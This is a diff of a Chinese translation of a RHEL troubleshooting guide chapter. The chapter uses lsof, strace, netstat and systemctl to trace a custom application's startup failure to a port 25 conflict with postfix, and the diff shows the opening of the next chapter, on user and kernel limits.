打开项目`/usr/lib64/libc-2.17.so`的第四行显示的 FD 为`mem`。 这意味着文件`/usr/lib64/libc-2.17.so`已经被读取并放入`iprupdate`进程的内存中。 这意味着这个文件可以作为一个内存对象来访问。 对于`libc-2.17.so`这样的库文件,这是一种常见的做法。 - -## 返回 lsof 输出 - -现在我们已经彻底地探索了 FD 字段,让我们转向`lsof`输出的第六列`TYPE`字段。 这个字段显示正在打开的文件的类型。 由于有相当多的可能类型,在这里列出它们可能有点棘手; 但是,您总是可以在`lsof`手册页中找到它,该手册页可以在线访问或通过“`man lsof`”命令访问。 - -虽然我们不会列出所有可能的文件类型,但我们可以快速查看从我们的示例系统捕获的几个文件类型: - -```sh -systemd 1 root mem REG 253,1 160240 134296681 /usr/lib64/ld-2.17.so -systemd 1 root 0u CHR 1,3 0t0 23 /dev/null -systemd 1 root 6r DIR 0,20 0 6404 /sys/fs/cgroup/systemd -systemd 1 root 7u unix 0xffff88001d672580 0t0 7917 @/org/freedesktop/systemd1/notify - -``` - -第一个示例项显示了`REG`的`TYPE`。 这个`TYPE`非常常见,因为所列出的项目是一个`Regular`文件。 第二个例子项显示**字符特殊文件**(**CHR**)。 CHR 表示特殊的文件,这些文件以文件的形式呈现,但实际上是设备的接口。 所列的项目`/dev/null`是字符文件的一个很好的例子,因为它被用作无输入。 写入`/dev/null`的任何内容都是无效的,如果您要读取该文件,则不会收到任何输出。 - -第三项显示了`DIR`,所以`DIR`代表目录也就不足为奇了。 这是一个非常常见的`TYPE`,因为许多进程在某种级别上需要打开一个目录。 - -第四项显示`unix`,这表明这个打开的项是一个 Unix 套接字文件。 Unix 套接字文件是一种特殊的文件,它被用作进程通信的输入/输出设备。 这些文件应该经常出现在`lsof`输出中。 - -正如我们从前面的示例中看到的,在 Linux 系统上有几种不同类型的文件。 - -现在我们已经看了输出的第六列`lsof`,即`TYPE`列,让我们快速看一下第七列,即`DEVICE`列: - -```sh -COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root cwd DIR 253,1 4096 128 / - -``` - -如果我们看前一项,我们可以看到`DEVICE`列的值为`253,1`。 这些数字代表设备的主号和副号,该项目是在。 在 Linux 中,系统使用主号码和副号码来确定如何访问设备。 主程序号(在本例中为`253`)用于确定系统应该使用哪个驱动程序。 一旦选择了驱动程序,次要编号(在本例中为 1)将用于缩小应该如何访问该设备的范围。 - -### 提示 - -主号码和副号码实际上是 Linux 及其如何使用设备的重要组成部分。 虽然我们不会在本书中深入讨论这个主题,但我建议您多了解一些,因为这些信息在诊断硬件设备问题时非常有用。 - -```sh -systemd 1 root mem REG 253,1 160240 134296681 /usr/lib64/ld-2.17.so -systemd 1 root 0u CHR 1,3 0t0 12 /dev/null - -``` - -现在我们已经研究了`DEVICE`列,让我们看看`lsof`输出`SIZE/OFF`的第八列。 `SIZE/OFF`列用于显示打开项目的大小或**偏移量**。 偏移量通常在 socket 文件、字符文件等设备上显示。 当这一列包含一个偏移量时,它的前面将加上“`0t`”。 在上面的例子中,我们可以看到字符文件`/dev/null`的偏移值为`0t0`。 - -`SIZE`值用于引用打开的项目,如常规文件。 这个值实际上是以字节为单位的文件大小。 例如,我们可以看到`/usr/lib64/ld-2.17.so`的`SIZE`列是`160240`。 这意味着该文件的大小大约为 160kb。 - -`lsof`输出中的第九列是`NODE`列: - -```sh -httpd 3205 apache 2w REG 253,1 497 134812768 /var/log/httpd/error_log -httpd 3205 apache 4u IPv6 16097 0t0 TCP *:http (LISTEN) - -``` - -对于常规文件,`NODE`列将显示文件的**inode**号。 在文件系统中,每个文件都有一个索引节点,这个索引节点被用作包含所有单个文件元数据的索引。 该元数据由文件在磁盘上的位置、文件权限、文件的创建时间和修改时间等项组成。 与主号和副号一样,我建议深入研究索引节点及其包含的内容,因为索引节点是文件在 Linux 系统中存在方式的核心组件。 - -您可以从前面示例中的第一项中看到,`/var/log/httpd/error_log`的索引节点是`134812768`。 - -然而,第二行将`NODE`显示为 TCP,它不是一个 inode。 它显示 TCP 的原因是,打开的项目是一个 TCP Socket,它不是文件系统上的一个文件。 与`TYPE`列一样,`NODE`列也将根据打开的项目进行更改。 然而,在大多数系统上,您通常会看到一个 inode 编号,TCP 或 UDP(用于 UDP 套接字)。 - -`lsof`输出中的第十列(也是最后一列)非常简单,因为我们已经多次引用了它。 第十列是`NAME`字段,这听起来很简单; 它列出了打开项目的名称: - -```sh -COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root cwd DIR 253,1 4096 128 / - -``` - -## 使用 lsof 检查之前是否有一个正在运行的进程 - -现在我们对`lsof`的工作方式以及它如何帮助我们有了更多的了解,让我们使用这个命令来检查我们的应用是否有任何正在运行的实例。 - -如果我们只是以根用户的身份运行`lsof`命令,我们将看到这个系统上所有打开的文件。 然而,即使将输出重定向到诸如`less`或`grep`这样的命令,输出也可能相当繁重。 幸运的是,`lsof`将允许我们指定要查找的文件和目录: - -```sh -# lsof /opt/myapp/conf/config.yml -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -less 3494 vagrant 4r REG 253,1 45 201948450 /opt/myapp/conf/config.yml - -``` - -正如我们所看到的,通过在前面的命令中指定一个文件,我们将输出限制到打开该文件的进程。 - -如果我们指定一个目录,输出类似: - -```sh -# lsof /opt/myapp/ -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -bash 3474 vagrant cwd DIR 253,1 53 25264 /opt/myapp -less 3509 vagrant cwd DIR 253,1 53 25264 /opt/myapp - -``` - -从这里,我们可以看到有两个进程打开了`/opt/myapp`目录。 限制`lsof`输出的另一种方法是指定`+D`(目录内容)标志,然后是一个目录。 这个标志将告诉`lsof`从该目录及其以下查找任何打开的项目。 - -例如,我们看到当对配置文件使用`lsof`时,`less`进程打开了它。 我们还可以看到,当对`/opt/myapp/`目录使用时,有两个进程打开了该目录。 - -我们可以通过使用`+D`标志的一个命令查看所有这些项: - -```sh -# lsof +D /opt/myapp/ -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -bash 3474 vagrant cwd DIR 253,1 53 25264 /opt/myapp -less 3509 vagrant cwd DIR 253,1 53 25264 /opt/myapp -less 3509 vagrant 4r REG 253,1 45 201948450 /opt/myapp/conf/config.yml - -``` - -这还将显示位于`/opt/myapp`目录下的任何其他项目。 既然我们要检查应用的另一个实例是否正在运行,让我们看看前面的`lsof`输出,看看可以学到什么: - -```sh -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -bash 3474 vagrant cwd DIR 253,1 53 25264 /opt/myapp - -``` - -第一个打开的项显示了一个名为`bash`的进程,它作为`vagrant`用户运行,具有当前工作目录的文件描述符。 这一行很可能是我们自己的`bash`进程,它目前在`/opt/myapp`目录中,正在`/opt/myapp/conf/config.yml`文件上执行 less 命令。 - -我们可以使用`ps`命令和`grep`对字符串`3474`(`bash`命令的进程 ID)进行检查: - -```sh -# ps -elf | grep 3474 -0 S vagrant 3474 3473 0 80 0 - 28857 wait 20:09 pts/1 00:00:00 -bash -0 S vagrant 3509 3474 0 80 0 - 27562 n_tty_ 20:14 pts/1 00:00:00 less conf/config.yml -0 S root 3576 2978 0 80 0 - 28160 pipe_w 21:08 pts/0 00:00:00 grep --color=auto 3474 - -``` - -在本例中,我选择使用`grep`命令,因为我们还可以看到引用进程 ID`3474`的任何子进程。 不使用`grep`命令也可以执行相同的操作,只需运行以下命令: - -```sh -# ps -lp 3474 --ppid 3474 -F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD -0 S 1000 3474 3473 0 80 0 - 28857 wait pts/1 00:00:00 bash -0 S 1000 3509 3474 0 80 0 - 27562 n_tty_ pts/1 00:00:00 less - -``` - -总的来说,两者产生相同的结果; 然而,第一种方法更容易记住。 - -如果我们查看进程列表的输出,我们可以看到`bash`命令实际上与我们的 shell 相关,因为它的子进程是`less`命令,我们知道我们在另一个窗口中运行它。 - -我们还可以看到`less`命令的进程 ID:`3509`。 `lsof`回显信息中的`less`命令中显示的进程号相同: - -```sh -less 3509 vagrant cwd DIR 253,1 53 25264 /opt/myapp -less 3509 vagrant 4r REG 253,1 45 201948450 /opt/myapp/conf/config.yml - -``` - -由于输出只显示了我们自己的进程,所以可以假设在后台没有运行先前的应用实例。 - -# 了解更多关于应用的信息 - -我们现在知道,问题不在于此应用的另一个实例正在运行。 在这一点上,我们应该尝试确定更多关于这个应用及其正在做的事情。 - -当试图找到关于该应用的更多信息时,要做的第一件事是查看该应用是什么类型的文件。 我们可以使用`file`命令: - -```sh -$ file bin/application -bin/application: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xbc4685b44eb120ff2252e21bd735933d51409ffa, not stripped - -``` - -`file`命令是一个非常有用的命令,应该放在您的工具带中,因为这个命令将识别所指定文件的文件类型。 在前面的例子中,我们可以看到“`application`”文件是一个编译过的二进制文件。 我们可以看到它是由这个特定的输出`ELF 64-bit LSB executable`编译的。 - -这一行还告诉我们,应用被编译为 64 位应用。 这很有趣,因为 64 位和 32 位应用之间有相当多的差异。 一个非常常见的场景是由于 64 位应用可以消耗大量的资源; 32 位应用通常比 64 位版本受到更多限制。 - -另一个常见的问题是尝试在 32 位内核上执行 64 位应用。 我们还没有验证是否在 64 位内核上运行; 如果我们试图用 32 位内核运行 64 位可执行文件,我们必然会收到一些错误。 - -尝试在 32 位内核上执行 64 位应用所看到的错误类型是非常特定的,不太可能是我们的问题的原因。 即使它不是一个可能的原因,我们可以用`uname –a`命令检查内核是否为 64 位内核: - -```sh -$ uname -a -Linux blog.example.com 3.10.0-123.el7.x86_64 #1 SMP Mon Jun 30 12:09:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux - -``` - -从 uname`-a`命令的输出中,我们可以看到该内核实际上是一个 64 位内核,因为存在这个字符串“`x86_64`”。 - -## 使用 strace 跟踪应用 - -因为我们知道应用是一个编译过的二进制文件,而没有源代码,这使得阅读应用中的代码相当困难。 然而,我们所能做的是跟踪应用正在执行的系统调用,看看我们是否能找到任何关于它为什么没有启动的信息。 - -### 什么是系统调用? - -**系统调用**是应用和内核之间的主要接口。 简单地说,系统调用是一种请求内核执行操作的方法。 - -大多数应用不需要担心系统调用,因为系统调用通常由低层库调用,比如 GNU C 库。 虽然程序员不需要担心系统调用,但重要的是要知道应用执行的每个操作都是某种类型的系统调用。 - -了解这一点很重要,因为我们可以跟踪这些系统调用,以确定应用到底在做什么。 就像我们使用`tcpdump`来跟踪系统上的网络流量一样,我们可以使用一个名为`strace`的命令来跟踪进程的系统调用。 - -为了体验一下`strace`,让我们使用`strace`对前面的`exitcodes.sh`脚本执行一个系统调用跟踪。 为此,我们将运行`strace`命令,然后运行`exitcodes.sh`脚本。 - -执行时,将启动`strace`命令,然后执行`exitcodes.sh`脚本。 当`exitcodes.sh`脚本运行时,`strace`命令将打印`exitcodes.sh`脚本中提供给它们的每个系统调用和参数: - -```sh -$ strace /var/tmp/exitcodes.sh -execve("/var/tmp/exitcodes.sh", ["/var/tmp/exitcodes.sh"], [/* 26 vars */]) = 0 -brk(0) = 0x261a000 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f890bd12000 -access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) -open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 -fstat(3, {st_mode=S_IFREG|0644, st_size=24646, ...}) = 0 -mmap(NULL, 24646, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f890bd0b000 -close(3) = 0 -open("/lib64/libtinfo.so.5", O_RDONLY|O_CLOEXEC) = 3 -read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\316\0\0\0\0\0\0"..., 832) = 832 -fstat(3, {st_mode=S_IFREG|0755, st_size=174520, ...}) = 0 -mmap(NULL, 2268928, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f890b8c9000 -mprotect(0x7f890b8ee000, 2097152, PROT_NONE) = 0 -mmap(0x7f890baee000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f890baee000 -close(3) = 0 -open("/lib64/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3 -read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\16\0\0\0\0\0\0"..., 832) = 832 -fstat(3, {st_mode=S_IFREG|0755, st_size=19512, ...}) = 0 - -``` - -这只是`strace`输出的一小部分。 完整的输出实际上有几页长。 然而,`exitcodes.sh`脚本并不长。 事实上,这是一个简单的三行脚本: - -```sh -$ cat /var/tmp/exitcodes.sh -#!/bin/bash -touch /some/directory/that/doesnt/exist/file.txt -echo "It works" - -``` - -这个脚本是一个很好的例子,可以说明 bash 等高级编程语言提供了多少功能。 现在我们知道了`exitcodes.sh`脚本的功能,让我们看看它执行的一些系统调用。 - -我们将从前八行开始: - -```sh -execve("/var/tmp/exitcodes.sh", ["/var/tmp/exitcodes.sh"], [/* 26 vars */]) = 0 -brk(0) = 0x261a000 -mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f890bd12000 -access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) -open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 -fstat(3, {st_mode=S_IFREG|0644, st_size=24646, ...}) = 0 -mmap(NULL, 24646, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f890bd0b000 -close(3) = 0 - -``` - -因为系统调用是相当广泛的,其中一些是复杂的理解。 我们将把分析重点放在常见的、更容易理解的系统调用上。 - -我们要检查的第一个系统调用是`access()`系统调用: - -```sh -access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) - -``` - -大多数系统调用都有一个名称来大致解释它所执行的函数。 `access()`系统调用也不例外,因为这个系统调用用于检查调用它的应用是否有足够的访问权限来打开指定的文件。 在上述示例中,指定的文件为`/etc/ld.so.preload`。 - -关于`strace`有趣的一点是,它不仅显示了系统调用,还显示了返回值。 在前面的示例中,`access()`系统调用接收到一个返回值`-1`,这是错误的典型值。 当返回值是错误时,`strace`也将提供错误字符串。 在本例中,`access()`调用收到了错误`-1 ENOENT (No such file or directory)`。 - -前面的错误是不言自明的,因为文件`/etc/ld.so.preload`似乎根本不存在。 - -下一个系统调用将会经常出现; 它是`open()`系统调用: - -```sh -open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 - -``` - -系统调用执行它所说的,它被用来打开(或创建并打开)一个文件或设备。 从前面的示例可以看出,指定的文件是`/etc/ld.so.cache`文件。 我们还可以看到,传递给这个系统调用的参数之一是“`O_RDONLY`”。 这个参数告诉`open()`调用以只读模式打开文件。 - -即使我们不知道`O_RDONLY`参数告诉 open 命令以只读方式打开文件,这个名称几乎是自描述的。 对于非自描述的系统调用,可以通过相当快速的谷歌搜索找到信息,因为系统调用是非常好的文档化的: - -```sh -fstat(3, {st_mode=S_IFREG|0644, st_size=24646, ...}) = 0 - -``` - -下一个要查看的系统调用是`fstat()`系统调用。 这个系统调用将提取一个文件的状态。 这个系统调用提供的信息包括 inode 号、用户所有权和文件大小等信息。 就其本身而言,`fstat()`系统调用可能看起来不是很重要,但当我们查看下一个系统调用`mmap()`时,它提供的信息可能很重要。 - -```sh -mmap(NULL, 24646, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f890bd0b000 - -``` - -这个系统调用可用于将文件映射或取消映射到内存中。 如果我们看一下`fstat()`线和`mmap()`线,我们会看到两个相同的数。 fstat()行有`st_size=24646`,这是提供给`mmap()`的第二个参数。 - -即使不知道这些系统调用的细节,也很容易建立这样的假设:`mmap()`系统调用将`fstat()`调用中的文件映射到内存中。 - -前面例子中的最后一个系统调用非常容易理解: - -```sh -close(3) = 0 - -``` - -系统调用简单地关闭打开的文件或设备。 由于前面我们打开了文件`/etc/ld.so.cache`,所以只有使用这个`close()`系统调用来关闭该文件才有意义。 在我们返回调试我们的应用之前,让我们快速地看一下最后四行代码: - -```sh -open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 -fstat(3, {st_mode=S_IFREG|0644, st_size=24646, ...}) = 0 -mmap(NULL, 24646, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f890bd0b000 -close(3) - -``` - -当我们观察这四个系统调用时,我们可以开始看到一个模式。 `open()`调用用于打开`/etc/ld.so.cache`文件,并给出一个返回值`3`。 提供`fstat()`命令`3`作为输入,并获得`st_size=24646`作为输出。 `mmap()`功能以`24646`、`3`为输入,`close()`功能以`3`为输入。 - -鉴于`open()`调用的输出`3`和`3`已经多次使用这四个系统调用,它是安全的得出这个数字`3`是打开文件的文件描述符数量`/etc/ld.so.cache`。 有了这个结论,假设前面的四个系统调用执行打开文件`/etc/ld.so.cache`、确定文件大小、将该文件映射到内存,然后关闭文件描述符也是相当安全的。 - -正如您所看到的,仅仅四个简单的系统调用就提供了相当多的信息。 让我们将您刚刚学到的东西应用到实践中,并使用`strace`来跟踪应用的过程。 - -## 使用 strace 来识别为什么应用不能启动 - -在前面,当我们运行`strace`时,只是简单地为它提供了一个要执行的命令。 这是调用`strace`的一种方法,但是如果进程已经在运行,该怎么办呢? 嗯,`strace`也可以跟踪正在运行的进程。 - -当跟踪一个已存在的进程时,我们可以用`–p`(进程)标志开始`strace`,后面跟着要跟踪的进程 ID。 这将导致`strace`绑定到该进程并开始跟踪它。 为了跟踪应用的启动,我们将使用这个方法。 - -为此,我们将在后台执行`start.sh`脚本,然后根据`start.sh`脚本的进程 ID 运行`strace`: - -```sh -$ ./start.sh & -[1] 3353 - -``` - -通过在命令行末尾添加&,我们告诉启动脚本在后台运行。 输出为我们提供了运行脚本`3353`的进程 ID。 然而,在另一个窗口中,作为根用户,我们可以使用`strace`来跟踪这个进程,执行以下命令: - -```sh -# strace -o /var/tmp/app.out -f -p 3353 -Process 3353 attached -Process 3360 attached - -``` - -前面的命令添加了一些选项,而不仅仅是`–p`和进程 ID。 我们还添加了`–o /var/tmp/app.out`参数。 该选项将告诉`strace`将跟踪数据保存到输出文件`/var/tmp/app.out`。 前面运行的`strace`提供了相当多的输出; 通过指定应该将数据写入文件,数据搜索将更易于管理。 - -我们添加的另一个新选项是`–f`; 这个参数告诉`strace`跟随子进程。 由于启动脚本启动应用,应用本身被认为是启动脚本的子进程。 在前面的例子中,我们可以看到`strace`被附加到两个进程上。 我们可以假设第二个进程收到了`3360`的进程 ID,这一点很重要,因为我们需要在查看跟踪输出时引用该进程 ID: - -```sh -# less /var/tmp/app.out - -``` - -让我们开始阅读`strace`输出并尝试识别发生了什么。 在遍历这个输出时,我们将它限制为对识别问题有用的部分: - -```sh -3360 execve("/opt/myapp/bin/application", ["/opt/myapp/bin/application", "--deamon", "--config", "/opt/myapp/conf/config.yml"], [/* 28 vars */]) = 0 - -``` - -第一个感兴趣的系统调用是`execve()`系统调用。 这个特定的`execve()`调用似乎是在执行`/opt/myapp/bin/application`二进制文件。 - -指出的一项重要内容是,通过这个输出,我们可以在系统调用之前看到一个数字。 这个编号`3360`是执行系统调用的进程的进程 ID。 进程 ID 只在 strace 命令跟踪多个进程时显示。 - -```sh -The next group of system calls that seem important are the following: -3360 open("/opt/myapp/conf/config.yml", O_RDONLY) = 3 -3360 fstat(3, {st_mode=S_IFREG|0600, st_size=45, ...}) = 0 -3360 fstat(3, {st_mode=S_IFREG|0600, st_size=45, ...}) = 0 -3360 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fd0528df000 -3360 read(3, "port: 25\ndebug: True\nlogdir: /op"..., 4096) = 45 -3360 read(3, "", 4096) = 0 -3360 read(3, "", 4096) = 0 - -``` - -从前面的组中,我们可以看到应用正在以只读方式打开`config.yml`文件,并且没有收到错误。 我们还可以看到,`read()`系统调用(它似乎正在从文件描述符 3 中读取)正在读取`config.yml`文件。 - -```sh -3360 close(3) = 0 - -``` - -在文件的下方,这个文件描述符似乎是使用`close()`系统调用关闭的。 这个信息很有用,因为它告诉我们我们能够读取`config.yml`文件,并且我们的问题与配置文件的权限无关: - -```sh -3360 open("/opt/myapp/logs/debug.out", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3 -3360 lseek(3, 0, SEEK_END) = 1711 -3360 fstat(3, {st_mode=S_IFREG|0664, st_size=1711, ...}) = 0 -3360 fstat(3, {st_mode=S_IFREG|0664, st_size=1711, ...}) = 0 -3360 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fd0528df000 -3360 write(1, "- - - - - - - - - - - - - - - - "..., 52) = 52 - -``` - -如果我们继续,可以看到我们的配置也正在生效,因为进程使用`open()`调用打开了`debug.out`文件进行写入,并使用`write()`调用写入该文件。 - -对于具有许多日志文件的应用,像上面这样的系统调用对于识别可能不太明显的日志消息很有用。 - -在查看系统调用时,您可以大致了解消息是何时生成的上下文以及可能的原因。 根据问题的不同,这个上下文可能非常有用。 - -```sh -3360 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4 -3360 bind(4, {sa_family=AF_INET, sin_port=htons(25), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use) -3360 open("/dev/null", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5 -3360 fstat(5, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0 -3360 write(1, "Starting service: [Failed]\n", 27) = 27 -3360 write(3, "Configuration file processed\r\n--"..., 86) = 86 -3360 close(3) = 0 - -``` - -说到上下文,前面的系统调用专门解释了我们的问题,一个系统调用。 虽然`strace`文件包含了许多返回错误的系统调用,但大多数调用如下所示: - -```sh -3360 stat("/usr/lib64/python2.7/encodings/ascii", 0x7fff8ef0d670) = -1 ENOENT (No such file or directory) - -``` - -这是相当常见的,因为它只是意味着进程试图访问不存在的文件。 然而,在跟踪文件中,有一个错误比其他错误更突出: - -```sh -3360 bind(4, {sa_family=AF_INET, sin_port=htons(25), sin_addr=inet_addr("0.0.0.0")}, 16) = -1 EADDRINUSE (Address already in use) - -``` - -前面的系统调用`bind()`是绑定套接字的系统调用。 上面的示例似乎绑定了一个网络套接字。 如果我们回想一下我们的配置文件,我们知道端口`25`是指定的: - -```sh -# cat /opt/myapp/conf/config.yml -port: 25 - -``` - -在系统调用中,我们可以看到字符串`sin_port=htons(25)`,这可能意味着这个绑定系统调用试图绑定到端口`25`。 从提供的返回值可以看出,`bind()`调用收到了一个错误。 该错误的消息提示“`Address is already in use`”。 - -因为我们知道应用配置为使用港口`25`在某种程度上,我们可以看到一个`bind()`系统调用,顺理成章地,这个应用可能不会开始只是因为港口`25`已经被另一个进程,在这一点上,我们的新假说。 - -# 解决冲突 - -正如您在网络章节中了解到的,我们可以通过快速`netstat`命令验证进程是否有正在使用的端口`25`: - -```sh -# netstat -nap | grep :25 -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1588/master -tcp6 0 0 ::1:25 :::* LISTEN 1588/master - -``` - -当我们以根用户的身份运行`netstat`并添加`–p`标志时,该命令将包含每个监听套接字的进程 ID 和进程名。 从这里,我们可以看到端口`25`实际上正在被使用,而进程 1588 是侦听的一个。 - -为了更好地理解这是什么进程,我们可以再次使用`ps`命令: - -```sh -# ps -elf | grep 1588 -5 S root 1588 1 0 80 0 - 22924 ep_pol 13:53 ? 00:00:00 /usr/libexec/postfix/master -w -4 S postfix 1616 1588 0 80 0 - 22967 ep_pol 13:53 ? 00:00:00 qmgr -l -t unix -u -4 S postfix 3504 1588 0 80 0 - 22950 ep_pol 20:36 ? 00:00:00 pickup -l -t unix -u - -``` - -看起来,`postfix`服务是侦听端口`25`的服务,这并不奇怪,因为这个端口通常用于 SMTP 通信,后缀是一个电子邮件服务。 - -现在的问题是,postfix 应该侦听这个端口,还是应用应该侦听这个端口? 不幸的是,这个问题没有简单的答案,因为它真正取决于系统和它们正在做什么。 - -为了进行本练习,我们将假设自定义应用应该使用端口`25`,并且 postfix 不应该运行。 - -要停止 postfix 侦听端口`25`,我们首先要使用`systemctl`命令停止 postfix: - -```sh - # systemctl stop postfix - -``` - -这将停止 postfix 服务,而下一个命令将禁用它在下一次重新启动时再次启动: - -```sh -# systemctl disable postfix -rm '/etc/systemd/system/multi-user.target.wants/postfix.service' - -``` - -禁用后缀服务是解决这个问题的一个重要步骤。 目前,我们认为这个问题是由自定义应用和后缀之间的端口冲突引起的。 如果我们不禁用后缀服务,下一次系统重新启动时,它将再次启动。 这也将阻止自定义应用的启动。 - -虽然这看起来很基本,但我想强调这一步的重要性,因为在很多情况下,我看到一个问题反复出现,只是因为第一次解决它的人没有禁用服务。 - -如果我们运行`systemctl`status 命令,我们现在可以看到 postfix 服务被停止和禁用: - -```sh -# systemctl status postfix -postfix.service - Postfix Mail Transport Agent - Loaded: loaded (/usr/lib/systemd/system/postfix.service; disabled) - Active: inactive (dead) - -Jun 09 04:05:42 blog.example.com systemd[1]: Starting Postfix Mail Transport Agent... -Jun 09 04:05:43 blog.example.com postfix/master[1588]: daemon started -- version 2.10.1, configuration /etc/postfix -Jun 09 04:05:43 blog.example.com systemd[1]: Started Postfix Mail Transport Agent. -Jun 09 21:14:14 blog.example.com systemd[1]: Stopping Postfix Mail Transport Agent... -Jun 09 21:14:14 blog.example.com systemd[1]: Stopped Postfix Mail Transport Agent. - -``` - -在停止`postfix`服务之后,我们现在可以再次启动应用,以查看问题是否已解决。 - -```sh -$ ./start.sh -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting service: [Success] -- - - - - - - - - - - - - - - - - - - - - - - - - -Proccessed 5 messages -Proccessed 5 messages -Proccessed 5 messages - -``` - -事实上,这个问题已经通过停止`postfix`服务得到解决。 我们可以从启动过程中打印的“`[Success]`”消息中看到这一点。 如果再次运行`lsof`命令,我们也可以看到: - -```sh -# lsof +D /opt/myapp/ -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -bash 3332 vagrant cwd DIR 253,1 53 25264 /opt/myapp -start.sh 3585 vagrant cwd DIR 253,1 53 25264 /opt/myapp -start.sh 3585 vagrant 255r REG 253,1 111 25304 /opt/myapp/start.sh -applicati 3588 root cwd DIR 253,1 53 25264 /opt/myapp -applicati 3588 root txt REG 253,1 36196 68112463 /opt/myapp/bin/application -applicati 3588 root 3w REG 253,1 1797 134803515 /opt/myapp/logs/debug.out - -``` - -现在应用正在运行,我们可以看到几个进程在`/opt/myapp`目录中有打开的项目。 我们还可以看到其中一个进程是进程 ID 为`3588`的应用命令。 为了更好地了解应用正在做什么,我们可以再次运行`lsof`,但这一次我们将只搜索进程 ID`3588`打开的文件: - -```sh -# lsof -p 3588 -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -applicati 3588 root cwd DIR 253,1 53 25264 /opt/myapp -applicati 3588 root rtd DIR 253,1 4096 128 / -applicati 3588 root txt REG 253,1 36196 68112463 /opt/myapp/bin/application -applicati 3588 root mem REG 253,1 160240 134296681 /usr/lib64/ld-2.17.so -applicati 3588 root 0u CHR 136,2 0t0 5 /dev/pts/2 -applicati 3588 root 1u CHR 136,2 0t0 5 /dev/pts/2 -applicati 3588 root 2u CHR 136,2 0t0 5 /dev/pts/2 -applicati 3588 root 3w REG 253,1 1797 134803515 /opt/myapp/logs/debug.out -applicati 3588 root 4u sock 0,6 0t0 38488 protocol: TCP - -``` - -`–p`(进程)标志将过滤到特定进程的`lsof`输出。 在本例中,我们将输出限制在刚刚启动的自定义应用中: - -```sh -applicati 3588 root 4u sock 0,6 0t0 38488 protocol: TCP - -``` - -在最后一行中,我们可以看到应用打开了一个 TCP 套接字。 有了来自应用的状态消息和来自`lsof`的结果,可以很有把握地说应用已经启动并正确启动了。 - -# 总结 - -我们针对一个应用问题,使用常见的 Linux 工具,如`lsof`和`strace`来查找根本原因,即端口冲突。 更重要的是,我们在不了解应用或它试图执行的任务的情况下完成了这一操作。 - -通过本章中的示例,我们可以很容易地看到,拥有基本 Linux 工具的访问和知识,以及对故障排除过程的理解,可以使您解决几乎任何问题,无论该问题是应用问题还是系统问题。 - -在下一章中,我们将研究 Linux 用户和内核限制,以及它们有时是如何导致问题的。** \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/10.md b/docs/rhel-troubleshoot-guide/10.md deleted file mode 100644 index 89170e65..00000000 --- a/docs/rhel-troubleshoot-guide/10.md +++ /dev/null @@ -1,846 +0,0 @@ -# 十、理解 Linux 用户和内核限制 - -在前一章中,我们使用了`lsof`和`strace`等工具来确定应用问题的根本原因。 - -在本章中,我们将再次确定应用相关问题的根本原因。 然而,我们还将重点学习和理解 Linux 用户和内核的限制。 - -# 已报告的问题 - -就像前一章的所关注的自定义应用的问题一样,今天的问题也来自相同的自定义应用。 - -今天,我们将处理一个应用支持团队报告的问题。 然而,这一次支持团队能够为我们提供相当多的信息。 - -我们在第 9 章、*使用系统工具对应用进行故障排除*中所处理的应用,现在通过`port 25`接收消息并将其存储在队列目录中。 一个作业周期性地运行以处理这些排队的消息,但是作业*似乎不再工作*。 - -应用支持团队注意到队列中积压了相当多的消息。 然而,尽管他们已经尽可能地解决了问题,他们还是卡住了,需要我们的帮助。 - -# 为什么这项工作失败了? - -由于报告的问题是一个预定的工作不工作,我们应该首先关注工作本身。 在这个场景中,我们的应用支持团队可以回答任何问题。 所以,让我们了解更多关于这项工作的细节。 - -## 背景问题 - 